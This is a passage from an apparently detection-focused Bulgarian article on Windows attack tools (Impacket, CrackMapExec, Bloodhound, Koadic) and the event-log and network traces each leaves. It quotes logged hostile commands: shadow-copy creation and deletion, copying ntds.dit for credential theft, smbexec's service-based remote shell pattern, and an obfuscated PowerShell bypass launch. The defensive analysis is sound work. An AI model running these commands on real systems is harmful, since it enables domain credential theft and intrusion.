2. 5145 β€” ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π½Π° ΠΏΡ€Π°Π²Π°Ρ‚Π° Π·Π° Π΄ΠΎΡΡ‚ΡŠΠΏ Π΄ΠΎ ΠΎΡ‚Π΄Π°Π»Π΅Ρ‡Π΅Π½Π°Ρ‚Π° услуга winreg.
3. 5145 β€” ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π½Π° ΠΏΡ€Π°Π²Π°Ρ‚Π° Π·Π° Π΄ΠΎΡΡ‚ΡŠΠΏ Π΄ΠΎ Ρ„Π°ΠΉΠ» Π² дирСктория System32. Π€Π°ΠΉΠ»ΡŠΡ‚ ΠΈΠΌΠ° случайно ΠΈΠΌΠ΅, спомСнато ΠΏΠΎ-Π³ΠΎΡ€Π΅.
4. 4688 β€” създаванС Π½Π° процСс cmd.exe, ΠΊΠΎΠΉΡ‚ΠΎ стартира vssadmin:

β€œC:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 β€” създаванС Π½Π° процСс с ΠΊΠΎΠΌΠ°Π½Π΄Π°:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 β€” създаванС Π½Π° процСс с ΠΊΠΎΠΌΠ°Π½Π΄Π°:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 β€” създаванС Π½Π° процСс с ΠΊΠΎΠΌΠ°Π½Π΄Π°:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

ΠšΠ°ΠΊΡ‚ΠΎ ΠΈ ΠΏΡ€ΠΈ ΠΌΠ½ΠΎΠ³ΠΎ инструмСнти Π·Π° постСксплоатация, Impacket ΠΏΡ€Π΅Π΄Π»Π°Π³Π° ΠΌΠΎΠ΄ΡƒΠ»ΠΈ Π·Π° ΠΎΡ‚Π΄Π°Π»Π΅Ρ‡Π΅Π½ΠΎ изпълнСниС Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ. НиС Ρ‰Π΅ сС фокусирамС Π²ΡŠΡ€Ρ…Ρƒ smbexec, ΠΊΠΎΠΉΡ‚ΠΎ прСдоставя ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄Π½Π° ΠΎΠ±ΠΎΠ»ΠΎΡ‡ΠΊΠ° Π½Π° ΠΎΡ‚Π΄Π°Π»Π΅Ρ‡Π΅Π½ΠΎ устройство. Π—Π° Ρ‚ΠΎΠ·ΠΈ ΠΌΠΎΠ΄ΡƒΠ» ΡΡŠΡ‰ΠΎ Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠ° аутСнтификация Ρ‡Ρ€Π΅Π· SMB, ΠΏΠΎ ΠΏΠ°Ρ€ΠΎΠ»Π° ΠΈΠ»ΠΈ ΠΏΠΎ Ρ…Π΅Ρˆ. На рис. 3 Π²ΠΈΠΆΠ΄Π°ΠΌΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π·Π° Ρ€Π°Π±ΠΎΡ‚Π° Π½Π° Ρ‚ΠΎΠ·ΠΈ инструмСнт, Π² конкрСтния случай Ρ‚ΠΎΠ²Π° Π΅ ΠΊΠΎΠ½Π·ΠΎΠ»Π°Ρ‚Π° Π½Π° локалния администратор.

Как Π΄Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ΅ΠΌ Π°Ρ‚Π°ΠΊΠΈ срСщу Windows инфраструктурата: ΠΈΠ·ΡƒΡ‡Π°Π²Π°ΠΌΠ΅ инструмСнтитС Π½Π° Ρ…Π°ΠΊΠ΅Ρ€ΠΈΡ‚Π΅
Рис. 3. Π˜Π½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Π° ΠΊΠΎΠ½Π·ΠΎΠ»Π° smbexec

ΠŸΡŠΡ€Π²Π°Ρ‚Π° ΡΡ‚ΡŠΠΏΠΊΠ° Π² Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚Π° Π½Π° smbexec слСд аутСнтификацията Π΅ отварянСто Π½Π° SCM с ΠΊΠΎΠΌΠ°Π½Π΄Π°Ρ‚Π° OpenSCManagerW (15). Π—Π°ΠΏΠΈΡ‚Π²Π°Π½Π΅Ρ‚ΠΎ Π΅ интСрСсно: Π² Π½Π΅Π³ΠΎ ΠΏΠΎΠ»Π΅Ρ‚ΠΎ MachineName ΠΈΠΌΠ° стойност DUMMY.

Как Π΄Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ΅ΠΌ Π°Ρ‚Π°ΠΊΠΈ срСщу Windows инфраструктурата: ΠΈΠ·ΡƒΡ‡Π°Π²Π°ΠΌΠ΅ инструмСнтитС Π½Π° Ρ…Π°ΠΊΠ΅Ρ€ΠΈΡ‚Π΅
Рис. 4. Π—Π°ΠΏΠΈΡ‚Π²Π°Π½Π΅ Π·Π° отварянС Π½Π° Service Control Manager

Π‘Π»Π΅Π΄ Ρ‚ΠΎΠ²Π° слСдва създаванС Π½Π° услуга с ΠΊΠΎΠΌΠ°Π½Π΄Π°Ρ‚Π° CreateServiceW (12). Π’ случая Π½Π° smbexec Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅ΠΌ Π΄Π° Π²ΠΈΠ΄ΠΈΠΌ Π΅Π΄Π½Π° ΠΈ ΡΡŠΡ‰Π° Π»ΠΎΠ³ΠΈΠΊΠ° Π½Π° построяванС Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄Π°Ρ‚Π°. На рис. 5 Π·Π΅Π»Π΅Π½ΠΎΡ‚ΠΎ ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°Π²Π° нСизмСняСми ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΈ Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄Π°Ρ‚Π°, Π° ΠΆΡŠΠ»Ρ‚ΠΎΡ‚ΠΎ β€” Π½Π΅Ρ‰Π°, ΠΊΠΎΠΈΡ‚ΠΎ атакуващият ΠΌΠΎΠΆΠ΅ Π΄Π° ΠΏΡ€ΠΎΠΌΠ΅Π½ΠΈ. ЛСсно Π΅ Π΄Π° сС Π·Π°Π±Π΅Π»Π΅ΠΆΠΈ, Ρ‡Π΅ ΠΈΠΌΠ΅Ρ‚ΠΎ Π½Π° изпълнимия Ρ„Π°ΠΉΠ», Π½Π΅Π³ΠΎΠ²Π°Ρ‚Π° дирСктория ΠΈ Ρ„Π°ΠΉΠ»ΡŠΡ‚ output ΠΌΠΎΠ³Π°Ρ‚ Π΄Π° Π±ΡŠΠ΄Π°Ρ‚ ΠΏΡ€ΠΎΠΌΠ΅Π½Π΅Π½ΠΈ, Π½ΠΎ осталното ΠΏΠΎ-слоТно, Π±Π΅Π· Π΄Π° сС Π½Π°Ρ€ΡƒΡˆΠ°Π²Π° Π»ΠΎΠ³ΠΈΠΊΠ°Ρ‚Π° Π½Π° Ρ€Π°Π±ΠΎΡ‚Π° Π½Π° ΠΌΠΎΠ΄ΡƒΠ»Π° Impacket.

Как Π΄Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ΅ΠΌ Π°Ρ‚Π°ΠΊΠΈ срСщу Windows инфраструктурата: ΠΈΠ·ΡƒΡ‡Π°Π²Π°ΠΌΠ΅ инструмСнтитС Π½Π° Ρ…Π°ΠΊΠ΅Ρ€ΠΈΡ‚Π΅
Рис. 5. Π—Π°ΠΏΠΈΡ‚Π²Π°Π½Π΅ Π·Π° създаванС Π½Π° услуга Ρ‡Ρ€Π΅Π· Service Control Manager

Smbexec ΡΡŠΡ‰ΠΎ Ρ‚Π°ΠΊΠ° оставя явни слСди Π² ΠΆΡƒΡ€Π½Π°Π»ΠΈΡ‚Π΅ Π½Π° Windows. Π’ ΠΆΡƒΡ€Π½Π°Π»Π° Π½Π° Windows Server 2016 Π·Π° ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄Π½Π° ΠΎΠ±ΠΎΠ»ΠΎΡ‡ΠΊΠ° с ΠΊΠΎΠΌΠ°Π½Π΄Π°Ρ‚Π° ipconfig Ρ‰Π΅ Π²ΠΈΠ΄ΠΈΠΌ слСдната ΠΊΠ»ΡŽΡ‡ΠΎΠ²Π° послСдоватСлност ΠΎΡ‚ ΡΡŠΠ±ΠΈΡ‚ΠΈΡ:

1. 4697 β€” инсталиранС Π½Π° услуга Π½Π° ΠΆΠ΅Ρ€Ρ‚Π²Π°Ρ‚Π°:

%COMSPEC% /Q /c echo cd > 127.0.0.1C$__output 2>&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 β€” създаванС Π½Π° процСс cmd.exe с Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΈΡ‚Π΅ ΠΎΡ‚ ΠΏΡƒΠ½ΠΊΡ‚ 1.
3. 5145 β€” ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π½Π° ΠΏΡ€Π°Π²Π°Ρ‚Π° Π·Π° Π΄ΠΎΡΡ‚ΡŠΠΏ Π΄ΠΎ Ρ„Π°ΠΉΠ»Π° __output Π² дирСкторията C$.
4. 4697 β€” инсталиранС Π½Π° услуга Π½Π° ΠΆΠ΅Ρ€Ρ‚Π²Π°Ρ‚Π°.

%COMSPEC% /Q /c echo ipconfig > 127.0.0.1C$__output 2>&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 β€” създаванС Π½Π° процСс cmd.exe с Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΈ ΠΎΡ‚ Ρ‚. 4.
6. 5145 β€” ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π½Π° ΠΏΡ€Π°Π²Π°Ρ‚Π° Π·Π° Π΄ΠΎΡΡ‚ΡŠΠΏ Π΄ΠΎ Ρ„Π°ΠΉΠ»Π° __output Π² дирСктория C$.

Impacket Π΅ основата Π·Π° Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Π½Π° инструмСнти Π·Π° Π°Ρ‚Π°ΠΊΠΈ. Π’ΠΎΠΉ ΠΏΠΎΠ΄Π΄ΡŠΡ€ΠΆΠ° ΠΏΠΎΡ‡Ρ‚ΠΈ всички ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΈ Π² Windows инфраструктурата ΠΈ ΠΈΠΌΠ° свои Ρ…Π°Ρ€Π°ΠΊΡ‚Π΅Ρ€Π½ΠΈ особСности. Π’ΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»Π½ΠΎ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΈ winreg заявки, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅ Π½Π° SCM API с Ρ…Π°Ρ€Π°ΠΊΡ‚Π΅Ρ€Π½ΠΎ Ρ„ΠΎΡ€ΠΌΠΈΡ€Π°Π½Π΅ Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ, ΠΈΠΌΠ΅Π½Π° Π½Π° Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅ ΠΈ SMB сподСлСния SYSTEM32.

CRACKMAPEXEC

Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚ΡŠΡ‚ CME ΠΈΠΌΠ° Π·Π° Ρ†Π΅Π» Π΄Π° Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·ΠΈΡ€Π° Ρ€ΡƒΡ‚ΠΈΠ½Π½ΠΈΡ‚Π΅ дСйствия, ΠΊΠΎΠΈΡ‚ΠΎ атакуващият трябва Π΄Π° изпълни, Π·Π° Π΄Π° Π½Π°ΠΏΡ€Π΅Π΄Π½Π΅ Π² ΠΌΡ€Π΅ΠΆΠ°Ρ‚Π°. Π’ΠΎΠΉ позволява Ρ€Π°Π±ΠΎΡ‚Π° Π² комбинация с извСстнитС Empire agent ΠΈ Meterpreter. Π—Π° Π΄Π° изпълнява ΠΊΠΎΠΌΠ°Π½Π΄ΠΈΡ‚Π΅ скрито, CME ΠΌΠΎΠΆΠ΅ Π΄Π° Π³ΠΈ обфускира. Използвайки Bloodhound (ΠΎΡ‚Π΄Π΅Π»Π΅Π½ инструмСнт Π·Π° Ρ€Π°Π·ΡƒΠ·Π½Π°Π²Π°Π½Π΅), атакуващият ΠΌΠΎΠΆΠ΅ Π΄Π° Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·ΠΈΡ€Π° Ρ‚ΡŠΡ€ΡΠ΅Π½Π΅Ρ‚ΠΎ Π½Π° Π°ΠΊΡ‚ΠΈΠ²Π½Π° сСсия Π½Π° Π΄ΠΎΠΌΠ΅ΠΉΠ½ администратор.

Bloodhound

Bloodhound ΠΊΠ°Ρ‚ΠΎ самостоятСлСн инструмСнт позволява ΠΏΡ€ΠΎΠ²Π΅ΠΆΠ΄Π°Π½Π΅ Π½Π° Π½Π°ΠΏΡ€Π΅Π΄Π½Π°Π»ΠΎ Ρ€Π°Π·ΡƒΠ·Π½Π°Π²Π°Π½Π΅ Π² ΠΌΡ€Π΅ΠΆΠ°Ρ‚Π°. Π’ΠΎΠΉ ΡΡŠΠ±ΠΈΡ€Π° Π΄Π°Π½Π½ΠΈ Π·Π° ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π»ΠΈ, устройства, Π³Ρ€ΡƒΠΏΠΈ, сСсии ΠΈ сС прСдоставя ΠΏΠΎΠ΄ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π° Π½Π° PowerShell скрипт ΠΈΠ»ΠΈ Π±ΠΈΠ½Π°Ρ€Π΅Π½ Ρ„Π°ΠΉΠ». Π—Π° ΡΡŠΠ±ΠΈΡ€Π°Π½Π΅ Π½Π° информация сС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚ LDAP ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΈ, Π±Π°Π·ΠΈΡ€Π°Π½ΠΈ Π½Π° SMB. Π˜Π½Ρ‚Π΅Π³Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΈΡ ΠΌΠΎΠ΄ΡƒΠ» CME позволява Π·Π°Ρ€Π΅ΠΆΠ΄Π°Π½Π΅ Π½Π° Bloodhound Π½Π° ΠΊΠΎΠΌΠΏΡŽΡ‚ΡŠΡ€Π° Π½Π° ΠΆΠ΅Ρ€Ρ‚Π²Π°Ρ‚Π°, стартиранС ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π°Π²Π°Π½Π΅ Π½Π° ΡΡŠΠ±Ρ€Π°Π½ΠΈΡ‚Π΅ Π΄Π°Π½Π½ΠΈ слСд изпълнСниС, Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·ΠΈΡ€Π°ΠΉΠΊΠΈ дСйствията Π² систСмата ΠΈ ΠΏΡ€Π°Π²Π΅ΠΉΠΊΠΈ Π³ΠΈ ΠΏΠΎ-ΠΌΠ°Π»ΠΊΠΎ Π·Π°Π±Π΅Π»Π΅ΠΆΠΈΠΌΠΈ. Графичния интСрфСйс Π½Π° Bloodhound прСдставя ΡΡŠΠ±Ρ€Π°Π½ΠΈΡ‚Π΅ Π΄Π°Π½Π½ΠΈ ΠΏΠΎΠ΄ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π° Π½Π° Π³Ρ€Π°Ρ„ΠΈ, ΠΊΠΎΠ΅Ρ‚ΠΎ позволява Π½Π°ΠΌΠΈΡ€Π°Π½Π΅ Π½Π° Π½Π°ΠΉ-краткия ΠΏΡŠΡ‚ ΠΎΡ‚ устройството Π½Π° атакуващия Π΄ΠΎ Π΄ΠΎΠΌΠ΅ΠΉΠ½ администратора.

Как Π΄Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ΅ΠΌ Π°Ρ‚Π°ΠΊΠΈ срСщу Windows инфраструктурата: ΠΈΠ·ΡƒΡ‡Π°Π²Π°ΠΌΠ΅ инструмСнтитС Π½Π° Ρ…Π°ΠΊΠ΅Ρ€ΠΈΡ‚Π΅
Рис. 6. Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡ Π½Π° Bloodhound

Π—Π° стартиранС Π½Π° устройството Π½Π° ΠΆΠ΅Ρ€Ρ‚Π²Π°Ρ‚Π° ΠΌΠΎΠ΄ΡƒΠ»ΡŠΡ‚ създава Π·Π°Π΄Π°Ρ‡Π°, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΉΠΊΠΈ ATSVC ΠΈ SMB. ATSVC Π΅ интСрфСйс Π·Π° Ρ€Π°Π±ΠΎΡ‚Π° с Windows Task Scheduler. CME ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° функцията NetrJobAdd (1) Π·Π° създаванС Π½Π° ΠΌΡ€Π΅ΠΆΠΎΠ²ΠΈ Π·Π°Π΄Π°Ρ‡ΠΈ. ΠŸΡ€ΠΈΠΌΠ΅Ρ€ Π·Π° Ρ‚ΠΎΠ²Π°, ΠΊΠΎΠ΅Ρ‚ΠΎ ΠΌΠΎΠ΄ΡƒΠ»ΡŠΡ‚ CME ΠΈΠ·ΠΏΡ€Π°Ρ‰Π°, Π΅ ΠΏΠΎΠΊΠ°Π·Π°Π½ Π½Π° рис. 7: Ρ‚ΠΎΠ²Π° Π΅ ΠΈΠ·Π²ΠΈΠΊΠ²Π°Π½Π΅ Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄Π°Ρ‚Π° cmd.exe ΠΈ обфускиран ΠΊΠΎΠ΄ ΠΏΠΎΠ΄ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π° Π½Π° Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΈ Π² XML Ρ„ΠΎΡ€ΠΌΠ°Ρ‚.

Как Π΄Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ΅ΠΌ Π°Ρ‚Π°ΠΊΠΈ срСщу Windows инфраструктурата: ΠΈΠ·ΡƒΡ‡Π°Π²Π°ΠΌΠ΅ инструмСнтитС Π½Π° Ρ…Π°ΠΊΠ΅Ρ€ΠΈΡ‚Π΅
Рис.7. БъздаванС Π½Π° Π·Π°Π΄Π°Ρ‡Π° Ρ‡Ρ€Π΅Π· CME

Π‘Π»Π΅Π΄ ΠΊΠ°Ρ‚ΠΎ Π·Π°Π΄Π°Ρ‡Π°Ρ‚Π° ΠΏΠΎΡΡ‚ΡŠΠΏΠΈ Π·Π° изпълнСниС, устройството Π½Π° ΠΆΠ΅Ρ€Ρ‚Π²Π°Ρ‚Π° стартира самия Bloodhound, ΠΈ Ρ‚ΠΎΠ²Π° ΠΌΠΎΠΆΠ΅ Π΄Π° сС Π²ΠΈΠ΄ΠΈ Π² Ρ‚Ρ€Π°Ρ„ΠΈΠΊΠ°. Π—Π° ΠΌΠΎΠ΄ΡƒΠ»Π° са Ρ…Π°Ρ€Π°ΠΊΡ‚Π΅Ρ€Π½ΠΈ LDAP заявки Π·Π° ΠΏΠΎΠ»ΡƒΡ‡Π°Π²Π°Π½Π΅ Π½Π° стандартни Π³Ρ€ΡƒΠΏΠΈ, списък Π½Π° всички устройства ΠΈ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π»ΠΈ Π² Π΄ΠΎΠΌΠ΅ΠΉΠ½Π°, ΠΏΠΎΠ»ΡƒΡ‡Π°Π²Π°Π½Π΅ Π½Π° информация Π·Π° Π°ΠΊΡ‚ΠΈΠ²Π½ΠΈΡ‚Π΅ потрСбитСлски сСсии Ρ‡Ρ€Π΅Π· SRVSVC NetSessEnum Π·Π°ΠΏΠΈΡ‚Π²Π°Π½Π΅.

Как Π΄Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ΅ΠΌ Π°Ρ‚Π°ΠΊΠΈ срСщу Windows инфраструктурата: ΠΈΠ·ΡƒΡ‡Π°Π²Π°ΠΌΠ΅ инструмСнтитС Π½Π° Ρ…Π°ΠΊΠ΅Ρ€ΠΈΡ‚Π΅
Рис. 8. ΠŸΠΎΠ»ΡƒΡ‡Π°Π²Π°Π½Π΅ Π½Π° списък с Π°ΠΊΡ‚ΠΈΠ²Π½ΠΈ сСсии Ρ‡Ρ€Π΅Π· SMB

ОсвСн Ρ‚ΠΎΠ²Π°, стартиранСто Π½Π° Bloodhound Π½Π° ΠΆΠ΅Ρ€Ρ‚Π²ΠΎΠ²Π°Ρ‚Π° машина с Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ Π°ΡƒΠ΄ΠΈΡ‚ΠΎΡ€ Π²ΠΎΠ΄ΠΈ Π΄ΠΎ ΡΡŠΠ±ΠΈΡ‚ΠΈΠ΅ с ID 4688 (създаванС Π½Π° процСс) ΠΈ ΠΈΠΌΠ΅ Π½Π° процСса β€žC:WindowsSystem32cmd.exeβ€œ. Π˜Π½Ρ‚Π΅Ρ€Π΅ΡΠ½ΠΈ са Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΈΡ‚Π΅ Π½Π° командния Ρ€Π΅Π΄:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

ΠœΠΎΠ΄ΡƒΠ»ΡŠΡ‚ enum_avproducts Π΅ ΠΈΠ·ΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»Π½ΠΎ интСрСсСн ΠΎΡ‚ Π³Π»Π΅Π΄Π½Π° Ρ‚ΠΎΡ‡ΠΊΠ° Π½Π° функционалността ΠΈ Ρ€Π΅Π°Π»ΠΈΠ·ΠΈΡ€Π°Π½Π΅Ρ‚ΠΎ си. WMI позволява, Ρ‡Ρ€Π΅Π· Π΅Π·ΠΈΠΊΠ° Π·Π° заявки WQL, Π΄Π° ΠΏΠΎΠ»ΡƒΡ‡Π°Π²Π°Ρ‚Π΅ Π΄Π°Π½Π½ΠΈ Π·Π° Ρ€Π°Π·Π»ΠΈΡ‡Π½ΠΈ ΠΎΠ±Π΅ΠΊΡ‚ΠΈ Π½Π° Windows, ΠΊΠΎΠ΅Ρ‚ΠΎ Ρ‚ΠΎΡ‡Π½ΠΎ ΠΏΡ€Π°Π²ΠΈ Ρ‚ΠΎΠ·ΠΈ ΠΌΠΎΠ΄ΡƒΠ» CME. Π’ΠΎΠΉ Π³Π΅Π½Π΅Ρ€ΠΈΡ€Π° заявки към класовСтС AntiSpywareProduct ΠΈ AntiМirusProduct относно срСдствата Π·Π° Π·Π°Ρ‰ΠΈΡ‚Π°, инсталирани Π½Π° ΠΆΠ΅Ρ€Ρ‚Π²ΠΎΠ²Π°Ρ‚Π° машина. Π—Π° Π΄Π° ΠΏΠΎΠ»ΡƒΡ‡ΠΈ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΈΡ‚Π΅ Π΄Π°Π½Π½ΠΈ, ΠΌΠΎΠ΄ΡƒΠ»ΡŠΡ‚ ΠΎΡΡŠΡ‰Π΅ΡΡ‚Π²ΡΠ²Π° ΡΠ²ΡŠΡ€Π·Π²Π°Π½Π΅ с пространството ΠΈΠΌΠ΅Π½Π° rootSecurityCenter2, слСд ΠΊΠΎΠ΅Ρ‚ΠΎ Ρ„ΠΎΡ€ΠΌΠΈΡ€Π° WQL-заявка ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π°Π²Π° ΠΎΡ‚Π³ΠΎΠ²ΠΎΡ€. На рис. 9 Π΅ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ ΡΡŠΠ΄ΡŠΡ€ΠΆΠ°Π½ΠΈΠ΅Ρ‚ΠΎ Π½Π° Ρ‚Π°ΠΊΠΈΠ²Π° заявки ΠΈ ΠΎΡ‚Π³ΠΎΠ²ΠΎΡ€ΠΈ. Π’ нашия ΠΏΡ€ΠΈΠΌΠ΅Ρ€ бСшС ΠΎΡ‚ΠΊΡ€ΠΈΡ‚ Windows Defender.

Как Π΄Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ΅ΠΌ Π°Ρ‚Π°ΠΊΠΈ срСщу Windows инфраструктурата: ΠΈΠ·ΡƒΡ‡Π°Π²Π°ΠΌΠ΅ инструмСнтитС Π½Π° Ρ…Π°ΠΊΠ΅Ρ€ΠΈΡ‚Π΅
Рис. 9. ΠœΡ€Π΅ΠΆΠΎΠ²Π° активност Π½Π° ΠΌΠΎΠ΄ΡƒΠ»Π° enum_avproducts

ЧСсто Π°ΡƒΠ΄ΠΈΡ‚ΡŠΡ‚ Π½Π° WMI (Trace WMI-Activity), Π² ΡΡŠΠ±ΠΈΡ‚ΠΈΡΡ‚Π° Π½Π° ΠΊΠΎΠΉΡ‚ΠΎ ΠΌΠΎΠΆΠ΅ Π΄Π° сС Π½Π°ΠΌΠ΅Ρ€ΠΈ ΠΏΠΎΠ»Π΅Π·Π½Π° информация Π·Π° WQL-заявкитС, ΠΌΠΎΠΆΠ΅ Π΄Π° бъдС ΠΈΠ·ΠΊΠ»ΡŽΡ‡Π΅Π½. Но Π°ΠΊΠΎ Π΅ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½, Ρ‚ΠΎΠ³Π°Π²Π° ΠΏΡ€ΠΈ стартиранС Π½Π° сцСнария enum_avproducts Ρ‰Π΅ останС ΡΡŠΠ±ΠΈΡ‚ΠΈΠ΅ с ID 11. Π’ Π½Π΅Π³ΠΎ Ρ‰Π΅ сС ΡΡŠΠ΄ΡŠΡ€ΠΆΠ° ΠΈΠΌΠ΅Ρ‚ΠΎ Π½Π° потрСбитСля, ΠΊΠΎΠΉΡ‚ΠΎ Π΅ ΠΈΠ·ΠΏΡ€Π°Ρ‚ΠΈΠ» заявката, ΠΈ ΠΈΠΌΠ΅Ρ‚ΠΎ Π² пространството ΠΈΠΌΠ΅Π½Π° rootSecurityCenter2.

ВсСки ΠΎΡ‚ ΠΌΠΎΠ΄ΡƒΠ»ΠΈΡ‚Π΅ CME ΠΈΠΌΠ° свои Π°Ρ€Ρ‚Π΅Ρ„Π°ΠΊΡ‚ΠΈ, нСзависимо Π΄Π°Π»ΠΈ става Π²ΡŠΠΏΡ€ΠΎΡ Π·Π° спСцифични WQL-заявки ΠΈΠ»ΠΈ Π·Π° създаванС Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ Π²ΠΈΠ΄ Π·Π°Π΄Π°Ρ‡Π° Π² ΠΏΠ»Π°Π½ΠΈΡ€ΠΎΠ²Ρ‡ΠΈΠΊΠ° с обфускация ΠΈ Ρ…Π°Ρ€Π°ΠΊΡ‚Π΅Ρ€Π½Π° Π·Π° Bloodhound активност Π² LDAP ΠΈ SMB.

KOADIC

ΠžΡ‚Π»ΠΈΡ‡ΠΈΡ‚Π΅Π»Π½Π° Ρ‡Π΅Ρ€Ρ‚Π° Π½Π° Koadic Π΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅Ρ‚ΠΎ Π½Π° Π²Π³Ρ€Π°Π΄Π΅Π½ΠΈ Π² Windows ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚Π°Ρ‚ΠΎΡ€ΠΈ Π½Π° JavaScript ΠΈ VBScript. Π’ Ρ‚ΠΎΠ²Π° ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ Ρ‚ΠΎΠΉ слСдва тСндСнцията living off the land β€” тоСст Π½Π΅ ΠΏΡ€ΠΈΡ‚Π΅ΠΆΠ°Π²Π° външни зависимости ΠΈ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° стандартнитС срСдства Π½Π° Windows. Π’ΠΎΠ²Π° Π΅ инструмСнт Π·Π° ΠΏΡŠΠ»Π½ΠΎΡ†Π΅Π½Π΅Π½ Command & Control (CnC), Ρ‚ΡŠΠΉ ΠΊΠ°Ρ‚ΠΎ слСд заразяванС Π½Π° ΠΌΠ°ΡˆΠΈΠ½Π°Ρ‚Π° сС инсталира "ΠΈΠΌΠΏΠ»Π°Π½Ρ‚", ΠΊΠΎΠΉΡ‚ΠΎ позволява ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ» Π½Π°Π΄ нСя. Π’Π°ΠΊΠ°Π²Π° машина, Π² тСрминологията Π½Π° Koadic, сС Π½Π°Ρ€ΠΈΡ‡Π° "Π·ΠΎΠΌΠ±ΠΈ". ΠŸΡ€ΠΈ нСдостиг Π½Π° 